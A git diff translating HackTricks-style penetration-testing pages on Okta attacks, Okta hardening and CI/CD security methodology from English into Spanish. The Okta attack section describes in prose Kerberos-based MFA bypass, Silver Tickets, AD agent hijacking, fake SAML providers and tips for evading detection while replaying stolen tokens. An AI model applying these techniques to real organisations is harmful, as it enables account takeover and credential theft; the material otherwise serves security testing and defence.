+> Para realizar una revisión de seguridad de un entorno de Okta, deberías solicitar **acceso de solo lectura de administrador**.
### Summary
-There are **users** (which can be **stored in Okta,** logged from configured **Identity Providers** or authenticated via **Active Directory** or LDAP).\
-These users can be inside **groups**.\
-There are also **authenticators**: different options to authenticate like password, and several 2FA like WebAuthn, email, phone, okta verify (they could be enabled or disabled)...
+Hay **usuarios** (que pueden ser **almacenados en Okta,** registrados desde **Proveedores de Identidad** configurados o autenticados a través de **Active Directory** o LDAP).\
+Estos usuarios pueden estar dentro de **grupos**.\
+También hay **autenticadores**: diferentes opciones para autenticar como contraseña, y varios 2FA como WebAuthn, correo electrónico, teléfono, okta verify (pueden estar habilitados o deshabilitados)...
-Then, there are **applications** synchronized with Okta. Each applications will have some **mapping with Okta** to share information (such as email addresses, first names...). Moreover, each application must be inside an **Authentication Policy**, which indicates the **needed authenticators** for a user to **access** the application.
+Luego, hay **aplicaciones** sincronizadas con Okta. Cada aplicación tendrá algún **mapeo con Okta** para compartir información (como direcciones de correo electrónico, nombres...). Además, cada aplicación debe estar dentro de una **Política de Autenticación**, que indica los **autenticadores necesarios** para que un usuario **acceda** a la aplicación.
> [!CAUTION]
-> The most powerful role is **Super Administrator**.
+> El rol más poderoso es **Super Administrador**.
>
-> If an attacker compromise Okta with Administrator access, all the **apps trusting Okta** will be highly probably **compromised**.
+> Si un atacante compromete Okta con acceso de Administrador, todas las **aplicaciones que confían en Okta** serán muy probablemente **comprometidas**.
## Attacks
### Locating Okta Portal
-Usually the portal of a company will be located in **companyname.okta.com**. If not, try simple **variations** of **companyname.** If you cannot find it, it's also possible that the organization has a **CNAME** record like **`okta.companyname.com`** pointing to the **Okta portal**.
+Usualmente el portal de una empresa estará ubicado en **companyname.okta.com**. Si no, prueba variaciones simples de **companyname.** Si no puedes encontrarlo, también es posible que la organización tenga un registro **CNAME** como **`okta.companyname.com`** apuntando al **portal de Okta**.
### Login in Okta via Kerberos
-If **`companyname.kerberos.okta.com`** is active, **Kerberos is used for Okta access**, typically bypassing **MFA** for **Windows** users. To find Kerberos-authenticated Okta users in AD, run **`getST.py`** with **appropriate parameters**. Upon obtaining an **AD user ticket**, **inject** it into a controlled host using tools like Rubeus or Mimikatz, ensuring **`clientname.kerberos.okta.com` is in the Internet Options "Intranet" zone**. Accessing a specific URL should return a JSON "OK" response, indicating Kerberos ticket acceptance, and granting access to the Okta dashboard.
+Si **`companyname.kerberos.okta.com`** está activo, **Kerberos se utiliza para el acceso a Okta**, eludiendo típicamente **MFA** para usuarios de **Windows**. Para encontrar usuarios de Okta autenticados por Kerberos en AD, ejecuta **`getST.py`** con **parámetros apropiados**. Al obtener un **ticket de usuario de AD**, **iníctalo** en un host controlado usando herramientas como Rubeus o Mimikatz, asegurando que **`clientname.kerberos.okta.com` esté en la zona "Intranet" de las Opciones de Internet**. Acceder a una URL específica debería devolver una respuesta JSON "OK", indicando la aceptación del ticket de Kerberos y otorgando acceso al panel de control de Okta.
-Compromising the **Okta service account with the delegation SPN enables a Silver Ticket attack.** However, Okta's use of **AES** for ticket encryption requires possessing the AES key or plaintext password. Use **`ticketer.py` to generate a ticket for the victim user** and deliver it via the browser to authenticate with Okta.
+Comprometer la **cuenta de servicio de Okta con el SPN de delegación habilita un ataque de Silver Ticket.** Sin embargo, el uso de **AES** por parte de Okta para la encriptación de tickets requiere poseer la clave AES o la contraseña en texto plano. Usa **`ticketer.py` para generar un ticket para el usuario víctima** y entregarlo a través del navegador para autenticarte con Okta.
-**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
+**Consulta el ataque en** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
### Hijacking Okta AD Agent
-This technique involves **accessing the Okta AD Agent on a server**, which **syncs users and handles authentication**. By examining and decrypting configurations in **`OktaAgentService.exe.config`**, notably the AgentToken using **DPAPI**, an attacker can potentially **intercept and manipulate authentication data**. This allows not only **monitoring** and **capturing user credentials** in plaintext during the Okta authentication process but also **responding to authentication attempts**, thereby enabling unauthorized access or providing universal authentication through Okta (akin to a 'skeleton key').
+Esta técnica implica **acceder al Agente AD de Okta en un servidor**, que **sincroniza usuarios y maneja la autenticación**. Al examinar y desencriptar configuraciones en **`OktaAgentService.exe.config`**, notablemente el AgentToken usando **DPAPI**, un atacante puede potencialmente **interceptar y manipular datos de autenticación**. Esto permite no solo **monitorear** y **capturar credenciales de usuario** en texto plano durante el proceso de autenticación de Okta, sino también **responder a intentos de autenticación**, permitiendo así el acceso no autorizado o proporcionando autenticación universal a través de Okta (similar a una 'llave maestra').
-**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
+**Consulta el ataque en** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
### Hijacking AD As an Admin
-This technique involves hijacking an Okta AD Agent by first obtaining an OAuth Code, then requesting an API token. The token is associated with an AD domain, and a **connector is named to establish a fake AD agent**. Initialization allows the agent to **process authentication attempts**, capturing credentials via the Okta API. Automation tools are available to streamline this process, offering a seamless method to intercept and handle authentication data within the Okta environment.
+Esta técnica implica secuestrar un Agente AD de Okta obteniendo primero un Código OAuth, luego solicitando un token de API. El token está asociado con un dominio AD, y un **conector se nombra para establecer un agente AD falso**. La inicialización permite que el agente **procese intentos de autenticación**, capturando credenciales a través de la API de Okta. Hay herramientas de automatización disponibles para agilizar este proceso, ofreciendo un método fluido para interceptar y manejar datos de autenticación dentro del entorno de Okta.
-**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
+**Consulta el ataque en** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
### Okta Fake SAML Provider
-**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
+**Consulta el ataque en** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
-The technique involves **deploying a fake SAML provider**. By integrating an external Identity Provider (IdP) within Okta's framework using a privileged account, attackers can **control the IdP, approving any authentication request at will**. The process entails setting up a SAML 2.0 IdP in Okta, manipulating the IdP Single Sign-On URL for redirection via local hosts file, generating a self-signed certificate, and configuring Okta settings to match against the username or email. Successfully executing these steps allows for authentication as any Okta user, bypassing the need for individual user credentials, significantly elevating access control in a potentially unnoticed manner.
+La técnica implica **desplegar un proveedor SAML falso**. Al integrar un Proveedor de Identidad (IdP) externo dentro del marco de Okta usando una cuenta privilegiada, los atacantes pueden **controlar el IdP, aprobando cualquier solicitud de autenticación a voluntad**. El proceso implica configurar un IdP SAML 2.0 en Okta, manipulando la URL de inicio de sesión único del IdP para redirigir a través del archivo de hosts local, generando un certificado autofirmado y configurando los ajustes de Okta para que coincidan con el nombre de usuario o correo electrónico. Ejecutar con éxito estos pasos permite la autenticación como cualquier usuario de Okta, eludiendo la necesidad de credenciales individuales de usuario, elevando significativamente el control de acceso de manera potencialmente inadvertida.
### Phishing Okta Portal with Evilgnix
-In [**this blog post**](https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23) is explained how to prepare a phishing campaign against an Okta portal.
+En [**este post del blog**](https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23) se explica cómo preparar una campaña de phishing contra un portal de Okta.
### Colleague Impersonation Attack
-The **attributes that each user can have and modify** (like email or first name) can be configured in Okta. If an **application** is **trusting** as ID an **attribute** that the user can **modify**, he will be able to **impersonate other users in that platform**.
+Los **atributos que cada usuario puede tener y modificar** (como correo electrónico o nombre) pueden ser configurados en Okta. Si una **aplicación** confía como ID en un **atributo** que el usuario puede **modificar**, podrá **suplantar a otros usuarios en esa plataforma**.
-Therefore, if the app is trusting the field **`userName`**, you probably won't be able to change it (because you usually cannot change that field), but if it's trusting for example **`primaryEmail`** you might be able to **change it to a colleagues email address** and impersonate it (you will need to have access to the email and accept the change).
+Por lo tanto, si la aplicación confía en el campo **`userName`**, probablemente no podrás cambiarlo (porque generalmente no puedes cambiar ese campo), pero si confía, por ejemplo, en **`primaryEmail`**, podrías **cambiarlo a la dirección de correo electrónico de un colega** y suplantarlo (necesitarás tener acceso al correo electrónico y aceptar el cambio).
-Note that this impersoantion depends on how each application was condigured. Only the ones trusting the field you modified and accepting updates will be compromised.\
-Therefore, the app should have this field enabled if it exists:
+Ten en cuenta que esta suplantación depende de cómo se configuró cada aplicación. Solo las que confían en el campo que modificaste y aceptan actualizaciones serán comprometidas.\
+Por lo tanto, la aplicación debería tener este campo habilitado si existe:
-I have also seen other apps that were vulnerable but didn't have that field in the Okta settings (at the end different apps are configured differently).
+También he visto otras aplicaciones que eran vulnerables pero no tenían ese campo en la configuración de Okta (al final, diferentes aplicaciones están configuradas de manera diferente).
-The best way to find out if you could impersonate anyone on each app would be to try it!
+¡La mejor manera de averiguar si podrías suplantar a alguien en cada aplicación sería intentarlo!
## Evading behavioural detection policies
-Behavioral detection policies in Okta might be unknown until encountered, but **bypassing** them can be achieved by **targeting Okta applications directly**, avoiding the main Okta dashboard. With an **Okta access token**, replay the token at the **application-specific Okta URL** instead of the main login page.
+Las políticas de detección de comportamiento en Okta pueden ser desconocidas hasta que se encuentren, pero **eludirlas** se puede lograr **dirigiéndose directamente a las aplicaciones de Okta**, evitando el panel de control principal de Okta. Con un **token de acceso de Okta**, reproduce el token en la **URL específica de la aplicación de Okta** en lugar de la página de inicio de sesión principal.
-Key recommendations include:
+Las recomendaciones clave incluyen:
-- **Avoid using** popular anonymizer proxies and VPN services when replaying captured access tokens.
-- Ensure **consistent user-agent strings** between the client and replayed access tokens.
-- **Refrain from replaying** tokens from different users from the same IP address.
-- Exercise caution when replaying tokens against the Okta dashboard.
-- If aware of the victim company's IP addresses, **restrict traffic** to those IPs or their range, blocking all other traffic.
+- **Evitar usar** proxies de anonimato populares y servicios VPN al reproducir tokens de acceso capturados.
+- Asegurarse de que haya **cadenas de agente de usuario consistentes** entre el cliente y los tokens de acceso reproducidos.
+- **Abstenerse de reproducir** tokens de diferentes usuarios desde la misma dirección IP.
+- Tener cuidado al reproducir tokens contra el panel de control de Okta.
+- Si conoces las direcciones IP de la empresa víctima, **restringe el tráfico** a esas IPs o su rango, bloqueando todo el tráfico restante.
## Okta Hardening
-Okta has a lot of possible configurations, in this page you will find how to review them so they are as secure as possible:
+Okta tiene muchas configuraciones posibles, en esta página encontrarás cómo revisarlas para que sean lo más seguras posible:
{{#ref}}
okta-hardening.md
@@ -112,7 +112,3 @@ okta-hardening.md
- [https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23](https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23)
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/okta-security/okta-hardening.md b/src/pentesting-ci-cd/okta-security/okta-hardening.md
index a7dac96a7..3b9e3c9f0 100644
--- a/src/pentesting-ci-cd/okta-security/okta-hardening.md
+++ b/src/pentesting-ci-cd/okta-security/okta-hardening.md
@@ -6,72 +6,72 @@
### People
-From an attackers perspective, this is super interesting as you will be able to see **all the users registered**, their **email** addresses, the **groups** they are part of, **profiles** and even **devices** (mobiles along with their OSs).
+Desde la perspectiva de un atacante, esto es muy interesante ya que podrás ver **todos los usuarios registrados**, sus **direcciones de correo electrónico**, los **grupos** de los que forman parte, **perfiles** e incluso **dispositivos** (móviles junto con sus sistemas operativos).
-For a whitebox review check that there aren't several "**Pending user action**" and "**Password reset**".
+Para una revisión de caja blanca, verifica que no haya varias "**Acciones de usuario pendientes**" y "**Restablecimiento de contraseña**".
### Groups
-This is where you find all the created groups in Okta. it's interesting to understand the different groups (set of **permissions**) that could be granted to **users**.\
-It's possible to see the **people included inside groups** and **apps assigned** to each group.
+Aquí es donde encuentras todos los grupos creados en Okta. Es interesante entender los diferentes grupos (conjunto de **permisos**) que podrían ser otorgados a los **usuarios**.\
+Es posible ver las **personas incluidas dentro de los grupos** y las **aplicaciones asignadas** a cada grupo.
-Ofc, any group with the name of **admin** is interesting, specially the group **Global Administrators,** check the members to learn who are the most privileged members.
+Por supuesto, cualquier grupo con el nombre de **admin** es interesante, especialmente el grupo **Administradores Globales**, verifica los miembros para aprender quiénes son los miembros más privilegiados.
-From a whitebox review, there **shouldn't be more than 5 global admins** (better if there are only 2 or 3).
+Desde una revisión de caja blanca, **no debería haber más de 5 administradores globales** (mejor si solo hay 2 o 3).
### Devices
-Find here a **list of all the devices** of all the users. You can also see if it's being **actively managed** or not.
+Encuentra aquí una **lista de todos los dispositivos** de todos los usuarios. También puedes ver si está siendo **gestionado activamente** o no.
### Profile Editor
-Here is possible to observe how key information such as first names, last names, emails, usernames... are shared between Okta and other applications. This is interesting because if a user can **modify in Okta a field** (such as his name or email) that then is used by an **external application** to **identify** the user, an insider could try to **take over other accounts**.
+Aquí es posible observar cómo se comparte información clave como nombres, apellidos, correos electrónicos, nombres de usuario... entre Okta y otras aplicaciones. Esto es interesante porque si un usuario puede **modificar en Okta un campo** (como su nombre o correo electrónico) que luego es utilizado por una **aplicación externa** para **identificar** al usuario, un interno podría intentar **tomar el control de otras cuentas**.
-Moreover, in the profile **`User (default)`** from Okta you can see **which fields** each **user** has and which ones are **writable** by users. If you cannot see the admin panel, just go to **update your profile** information and you will see which fields you can update (note that to update an email address you will need to verify it).
+Además, en el perfil **`Usuario (predeterminado)`** de Okta puedes ver **qué campos** tiene cada **usuario** y cuáles son **escribibles** por los usuarios. Si no puedes ver el panel de administración, simplemente ve a **actualizar la información de tu perfil** y verás qué campos puedes actualizar (ten en cuenta que para actualizar una dirección de correo electrónico necesitarás verificarla).
### Directory Integrations
-Directories allow you to import people from existing sources. I guess here you will see the users imported from other directories.
+Los directorios te permiten importar personas de fuentes existentes. Supongo que aquí verás los usuarios importados de otros directorios.
-I haven't seen it, but I guess this is interesting to find out **other directories that Okta is using to import users** so if you **compromise that directory** you could set some attributes values in the users created in Okta and **maybe compromise the Okta env**.
+No lo he visto, pero supongo que esto es interesante para averiguar **otros directorios que Okta está utilizando para importar usuarios** así que si **comprometes ese directorio** podrías establecer algunos valores de atributos en los usuarios creados en Okta y **quizás comprometer el entorno de Okta**.
### Profile Sources
-A profile source is an **application that acts as a source of truth** for user profile attributes. A user can only be sourced by a single application or directory at a time.
+Una fuente de perfil es una **aplicación que actúa como fuente de verdad** para los atributos del perfil del usuario. Un usuario solo puede ser fuente de una única aplicación o directorio a la vez.
-I haven't seen it, so any information about security and hacking regarding this option is appreciated.
+No lo he visto, así que cualquier información sobre seguridad y hacking respecto a esta opción es apreciada.
## Customizations
### Brands
-Check in the **Domains** tab of this section the email addresses used to send emails and the custom domain inside Okta of the company (which you probably already know).
+Verifica en la pestaña **Dominios** de esta sección las direcciones de correo electrónico utilizadas para enviar correos y el dominio personalizado dentro de Okta de la empresa (que probablemente ya conoces).
-Moreover, in the **Setting** tab, if you are admin, you can "**Use a custom sign-out page**" and set a custom URL.
+Además, en la pestaña **Configuración**, si eres administrador, puedes "**Usar una página de cierre de sesión personalizada**" y establecer una URL personalizada.
### SMS
-Nothing interesting here.
+Nada interesante aquí.
### End-User Dashboard
-You can find here applications configured, but we will see the details of those later in a different section.
+Aquí puedes encontrar aplicaciones configuradas, pero veremos los detalles de esas más adelante en una sección diferente.
### Other
-Interesting setting, but nothing super interesting from a security point of view.
+Configuración interesante, pero nada super interesante desde el punto de vista de la seguridad.
## Applications
### Applications
-Here you can find all the **configured applications** and their details: Who has access to them, how is it configured (SAML, OPenID), URL to login, the mappings between Okta and the application...
+Aquí puedes encontrar todas las **aplicaciones configuradas** y sus detalles: Quién tiene acceso a ellas, cómo está configurado (SAML, OpenID), URL para iniciar sesión, los mapeos entre Okta y la aplicación...
-In the **`Sign On`** tab there is also a field called **`Password reveal`** that would allow a user to **reveal his password** when checking the application settings. To check the settings of an application from the User Panel, click the 3 dots:
+En la pestaña **`Iniciar sesión`** también hay un campo llamado **`Revelar contraseña`** que permitiría a un usuario **revelar su contraseña** al revisar la configuración de la aplicación. Para revisar la configuración de una aplicación desde el Panel de Usuario, haz clic en los 3 puntos:
-And you could see some more details about the app (like the password reveal feature, if it's enabled):
+Y podrías ver algunos detalles más sobre la aplicación (como la función de revelar contraseña, si está habilitada):
@@ -79,125 +79,121 @@ And you could see some more details about the app (like the password reveal feat
### Access Certifications
-Use Access Certifications to create audit campaigns to review your users' access to resources periodically and approve or revoke access automatically when required.
+Utiliza las Certificaciones de Acceso para crear campañas de auditoría para revisar periódicamente el acceso de tus usuarios a los recursos y aprobar o revocar el acceso automáticamente cuando sea necesario.
-I haven't seen it used, but I guess that from a defensive point of view it's a nice feature.
+No lo he visto utilizado, pero supongo que desde un punto de vista defensivo es una buena característica.
## Security
### General
-- **Security notification emails**: All should be enabled.
-- **CAPTCHA integration**: It's recommended to set at least the invisible reCaptcha
-- **Organization Security**: Everything can be enabled and activation emails shouldn't last long (7 days is ok)
-- **User enumeration prevention**: Both should be enabled
- - Note that User Enumeration Prevention doesn't take effect if either of the following conditions are allowed (See [User management](https://help.okta.com/oie/en-us/Content/Topics/users-groups-profiles/usgp-main.htm) for more information):
- - Self-Service Registration
- - JIT flows with email authentication
-- **Okta ThreatInsight settings**: Log and enforce security based on threat level
+- **Correos electrónicos de notificación de seguridad**: Todos deberían estar habilitados.
+- **Integración de CAPTCHA**: Se recomienda establecer al menos el reCaptcha invisible.
+- **Seguridad de la organización**: Todo puede ser habilitado y los correos electrónicos de activación no deberían tardar mucho (7 días está bien).
+- **Prevención de enumeración de usuarios**: Ambos deberían estar habilitados.
+- Ten en cuenta que la Prevención de Enumeración de Usuarios no tiene efecto si se permite alguna de las siguientes condiciones (Consulta [Gestión de usuarios](https://help.okta.com/oie/en-us/Content/Topics/users-groups-profiles/usgp-main.htm) para más información):
+- Registro de autoservicio.
+- Flujos JIT con autenticación por correo electrónico.
+- **Configuraciones de Okta ThreatInsight**: Registrar y hacer cumplir la seguridad según el nivel de amenaza.
### HealthInsight
-Here is possible to find correctly and **dangerous** configured **settings**.
+Aquí es posible encontrar configuraciones **correctas** y **peligrosas**.
### Authenticators
-Here you can find all the authentication methods that a user could use: Password, phone, email, code, WebAuthn... Clicking in the Password authenticator you can see the **password policy**. Check that it's strong.
+Aquí puedes encontrar todos los métodos de autenticación que un usuario podría usar: Contraseña, teléfono, correo electrónico, código, WebAuthn... Al hacer clic en el autenticador de Contraseña puedes ver la **política de contraseñas**. Verifica que sea fuerte.
-In the **Enrollment** tab you can see how the ones that are required or optinal:
+En la pestaña **Inscripción** puedes ver cuáles son requeridos u opcionales:
-It's recommendatble to disable Phone. The strongest ones are probably a combination of password, email and WebAuthn.
+Se recomienda deshabilitar el teléfono. Los más fuertes son probablemente una combinación de contraseña, correo electrónico y WebAuthn.
### Authentication policies
-Every app has an authentication policy. The authentication policy verifies that users who try to sign in to the app meet specific conditions, and it enforces factor requirements based on those conditions.
+Cada aplicación tiene una política de autenticación. La política de autenticación verifica que los usuarios que intentan iniciar sesión en la aplicación cumplan con condiciones específicas y hace cumplir los requisitos de factores basados en esas condiciones.
-Here you can find the **requirements to access each application**. It's recommended to request at least password and another method for each application. But if as attacker you find something more weak you might be able to attack it.
+Aquí puedes encontrar los **requisitos para acceder a cada aplicación**. Se recomienda solicitar al menos una contraseña y otro método para cada aplicación. Pero si como atacante encuentras algo más débil, podrías ser capaz de atacarlo.
### Global Session Policy
-Here you can find the session policies assigned to different groups. For example:
+Aquí puedes encontrar las políticas de sesión asignadas a diferentes grupos. Por ejemplo:
-It's recommended to request MFA, limit the session lifetime to some hours, don't persis session cookies across browser extensions and limit the location and Identity Provider (if this is possible). For example, if every user should be login from a country you could only allow this location.
+Se recomienda solicitar MFA, limitar la duración de la sesión a algunas horas, no persistir las cookies de sesión a través de extensiones de navegador y limitar la ubicación y el Proveedor de Identidad (si esto es posible). Por ejemplo, si cada usuario debería iniciar sesión desde un país, podrías permitir solo esta ubicación.
### Identity Providers
-Identity Providers (IdPs) are services that **manage user accounts**. Adding IdPs in Okta enables your end users to **self-register** with your custom applications by first authenticating with a social account or a smart card.
+Los Proveedores de Identidad (IdPs) son servicios que **gestionan cuentas de usuario**. Agregar IdPs en Okta permite a tus usuarios finales **autoregistrarse** con tus aplicaciones personalizadas autenticándose primero con una cuenta social o una tarjeta inteligente.
-On the Identity Providers page, you can add social logins (IdPs) and configure Okta as a service provider (SP) by adding inbound SAML. After you've added IdPs, you can set up routing rules to direct users to an IdP based on context, such as the user's location, device, or email domain.
+En la página de Proveedores de Identidad, puedes agregar inicios de sesión sociales (IdPs) y configurar Okta como proveedor de servicios (SP) agregando SAML entrante. Después de haber agregado IdPs, puedes configurar reglas de enrutamiento para dirigir a los usuarios a un IdP según el contexto, como la ubicación del usuario, el dispositivo o el dominio de correo electrónico.
-**If any identity provider is configured** from an attackers and defender point of view check that configuration and **if the source is really trustable** as an attacker compromising it could also get access to the Okta environment.
+**Si algún proveedor de identidad está configurado** desde la perspectiva de un atacante y defensor, verifica esa configuración y **si la fuente es realmente confiable**, ya que un atacante que lo comprometa también podría obtener acceso al entorno de Okta.
### Delegated Authentication
-Delegated authentication allows users to sign in to Okta by entering credentials for their organization's **Active Directory (AD) or LDAP** server.
+La autenticación delegada permite a los usuarios iniciar sesión en Okta ingresando credenciales para el **Active Directory (AD) o LDAP** de su organización.
-Again, recheck this, as an attacker compromising an organizations AD could be able to pivot to Okta thanks to this setting.
+Nuevamente, revisa esto, ya que un atacante que comprometa el AD de una organización podría ser capaz de pivotar hacia Okta gracias a esta configuración.
### Network
-A network zone is a configurable boundary that you can use to **grant or restrict access to computers and devices** in your organization based on the **IP address** that is requesting access. You can define a network zone by specifying one or more individual IP addresses, ranges of IP addresses, or geographic locations.
+Una zona de red es un límite configurable que puedes usar para **otorgar o restringir el acceso a computadoras y dispositivos** en tu organización según la **dirección IP** que está solicitando acceso. Puedes definir una zona de red especificando una o más direcciones IP individuales, rangos de direcciones IP o ubicaciones geográficas.
-After you define one or more network zones, you can **use them in Global Session Policies**, **authentication policies**, VPN notifications, and **routing rules**.
+Después de definir una o más zonas de red, puedes **usarlas en Políticas de Sesión Global**, **políticas de autenticación**, notificaciones de VPN y **reglas de enrutamiento**.
-From an attackers perspective it's interesting to know which Ps are allowed (and check if any **IPs are more privileged** than others). From an attackers perspective, if the users should be accessing from an specific IP address or region check that this feature is used properly.
+Desde la perspectiva de un atacante, es interesante saber qué IPs están permitidas (y verificar si alguna **IP tiene más privilegios** que otras). Desde la perspectiva de un atacante, si los usuarios deberían estar accediendo desde una dirección IP o región específica, verifica que esta función se esté utilizando correctamente.
### Device Integrations
-- **Endpoint Management**: Endpoint management is a condition that can be applied in an authentication policy to ensure that managed devices have access to an application.
- - I haven't seen this used yet. TODO
-- **Notification services**: I haven't seen this used yet. TODO
+- **Gestión de Puntos Finales**: La gestión de puntos finales es una condición que se puede aplicar en una política de autenticación para garantizar que los dispositivos gestionados tengan acceso a una aplicación.
+- No he visto esto utilizado aún. TODO
+- **Servicios de notificación**: No he visto esto utilizado aún. TODO
### API
-You can create Okta API tokens in this page, and see the ones that have been **created**, theirs **privileges**, **expiration** time and **Origin URLs**. Note that an API tokens are generated with the permissions of the user that created the token and are valid only if the **user** who created them is **active**.
+Puedes crear tokens de API de Okta en esta página y ver los que han sido **creados**, sus **privilegios**, tiempo de **expiración** y **URLs de origen**. Ten en cuenta que los tokens de API se generan con los permisos del usuario que creó el token y son válidos solo si el **usuario** que los creó está **activo**.
-The **Trusted Origins** grant access to websites that you control and trust to access your Okta org through the Okta API.
+Los **Orígenes de Confianza** otorgan acceso a sitios web que controlas y confías para acceder a tu organización de Okta a través de la API de Okta.
-There shuoldn't be a lot of API tokens, as if there are an attacker could try to access them and use them.
+No debería haber muchos tokens de API, ya que si los hay, un atacante podría intentar acceder a ellos y usarlos.
## Workflow
### Automations
-Automations allow you to create automated actions that run based on a set of trigger conditions that occur during the lifecycle of end users.
+Las automatizaciones te permiten crear acciones automatizadas que se ejecutan en función de un conjunto de condiciones de activación que ocurren durante el ciclo de vida de los usuarios finales.
-For example a condition could be "User inactivity in Okta" or "User password expiration in Okta" and the action could be "Send email to the user" or "Change user lifecycle state in Okta".
+Por ejemplo, una condición podría ser "Inactividad del usuario en Okta" o "Expiración de la contraseña del usuario en Okta" y la acción podría ser "Enviar correo electrónico al usuario" o "Cambiar el estado del ciclo de vida del usuario en Okta".
## Reports
### Reports
-Download logs. They are **sent** to the **email address** of the current account.
+Descarga registros. Se **envían** a la **dirección de correo electrónico** de la cuenta actual.
### System Log
-Here you can find the **logs of the actions performed by users** with a lot of details like login in Okta or in applications through Okta.
+Aquí puedes encontrar los **registros de las acciones realizadas por los usuarios** con muchos detalles como inicio de sesión en Okta o en aplicaciones a través de Okta.
### Import Monitoring
-This can **import logs from the other platforms** accessed with Okta.
+Esto puede **importar registros de otras plataformas** accedidas con Okta.
### Rate limits
-Check the API rate limits reached.
+Verifica los límites de tasa de la API alcanzados.
## Settings
### Account
-Here you can find **generic information** about the Okta environment, such as the company name, address, **email billing contact**, **email technical contact** and also who should receive Okta updates and which kind of Okta updates.
+Aquí puedes encontrar **información genérica** sobre el entorno de Okta, como el nombre de la empresa, dirección, **correo electrónico de contacto de facturación**, **correo electrónico de contacto técnico** y también quién debería recibir actualizaciones de Okta y qué tipo de actualizaciones de Okta.
### Downloads
-Here you can download Okta agents to sync Okta with other technologies.
+Aquí puedes descargar agentes de Okta para sincronizar Okta con otras tecnologías.
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md b/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md
index 41899af04..edbcfba1b 100644
--- a/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md
+++ b/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md
@@ -6,103 +6,99 @@
## VCS
-VCS stands for **Version Control System**, this systems allows developers to **manage their source code**. The most common one is **git** and you will usually find companies using it in one of the following **platforms**:
+VCS significa **Sistema de Control de Versiones**, estos sistemas permiten a los desarrolladores **gestionar su código fuente**. El más común es **git** y generalmente encontrarás empresas usándolo en una de las siguientes **plataformas**:
- Github
- Gitlab
- Bitbucket
- Gitea
-- Cloud providers (they offer their own VCS platforms)
+- Proveedores de nube (ofrecen sus propias plataformas VCS)
## CI/CD Pipelines
-CI/CD pipelines enable developers to **automate the execution of code** for various purposes, including building, testing, and deploying applications. These automated workflows are **triggered by specific actions**, such as code pushes, pull requests, or scheduled tasks. They are useful for streamlining the process from development to production.
+Las pipelines de CI/CD permiten a los desarrolladores **automatizar la ejecución de código** para varios propósitos, incluyendo la construcción, prueba y despliegue de aplicaciones. Estos flujos de trabajo automatizados son **activados por acciones específicas**, como pushes de código, pull requests o tareas programadas. Son útiles para agilizar el proceso desde el desarrollo hasta la producción.
-However, these systems need to be **executed somewhere** and usually with **privileged credentials to deploy code or access sensitive information**.
+Sin embargo, estos sistemas necesitan ser **ejecutados en algún lugar** y generalmente con **credenciales privilegiadas para desplegar código o acceder a información sensible**.
## VCS Pentesting Methodology
> [!NOTE]
-> Even if some VCS platforms allow to create pipelines for this section we are going to analyze only potential attacks to the control of the source code.
+> Incluso si algunas plataformas VCS permiten crear pipelines, en esta sección solo analizaremos los posibles ataques al control del código fuente.
-Platforms that contains the source code of your project contains sensitive information and people need to be very careful with the permissions granted inside this platform. These are some common problems across VCS platforms that attacker could abuse:
+Las plataformas que contienen el código fuente de tu proyecto contienen información sensible y las personas deben tener mucho cuidado con los permisos otorgados dentro de esta plataforma. Estos son algunos problemas comunes en las plataformas VCS que un atacante podría abusar:
-- **Leaks**: If your code contains leaks in the commits and the attacker can access the repo (because it's public or because he has access), he could discover the leaks.
-- **Access**: If an attacker can **access to an account inside the VCS platform** he could gain **more visibility and permissions**.
- - **Register**: Some platforms will just allow external users to create an account.
- - **SSO**: Some platforms won't allow users to register, but will allow anyone to access with a valid SSO (so an attacker could use his github account to enter for example).
- - **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... there are several kind of tokens a user could steal to access in some way a repo.
-- **Webhooks**: VCS platforms allow to generate webhooks. If they are **not protected** with non visible secrets an **attacker could abuse them**.
- - If no secret is in place, the attacker could abuse the webhook of the third party platform
- - If the secret is in the URL, the same happens and the attacker also have the secret
-- **Code compromise:** If a malicious actor has some kind of **write** access over the repos, he could try to **inject malicious code**. In order to be successful he might need to **bypass branch protections**. These actions can be performed with different goals in mid:
- - Compromise the main branch to **compromise production**.
- - Compromise the main (or other branches) to **compromise developers machines** (as they usually execute test, terraform or other things inside the repo in their machines).
- - **Compromise the pipeline** (check next section)
+- **Leaks**: Si tu código contiene leaks en los commits y el atacante puede acceder al repo (porque es público o porque tiene acceso), podría descubrir los leaks.
+- **Access**: Si un atacante puede **acceder a una cuenta dentro de la plataforma VCS**, podría obtener **más visibilidad y permisos**.
+- **Register**: Algunas plataformas solo permitirán a los usuarios externos crear una cuenta.
+- **SSO**: Algunas plataformas no permitirán a los usuarios registrarse, pero permitirán a cualquiera acceder con un SSO válido (por lo que un atacante podría usar su cuenta de github para entrar, por ejemplo).
+- **Credentials**: Nombre de usuario + Contraseña, tokens personales, claves ssh, tokens Oauth, cookies... hay varios tipos de tokens que un usuario podría robar para acceder de alguna manera a un repo.
+- **Webhooks**: Las plataformas VCS permiten generar webhooks. Si no están **protegidos** con secretos no visibles, un **atacante podría abusar de ellos**.
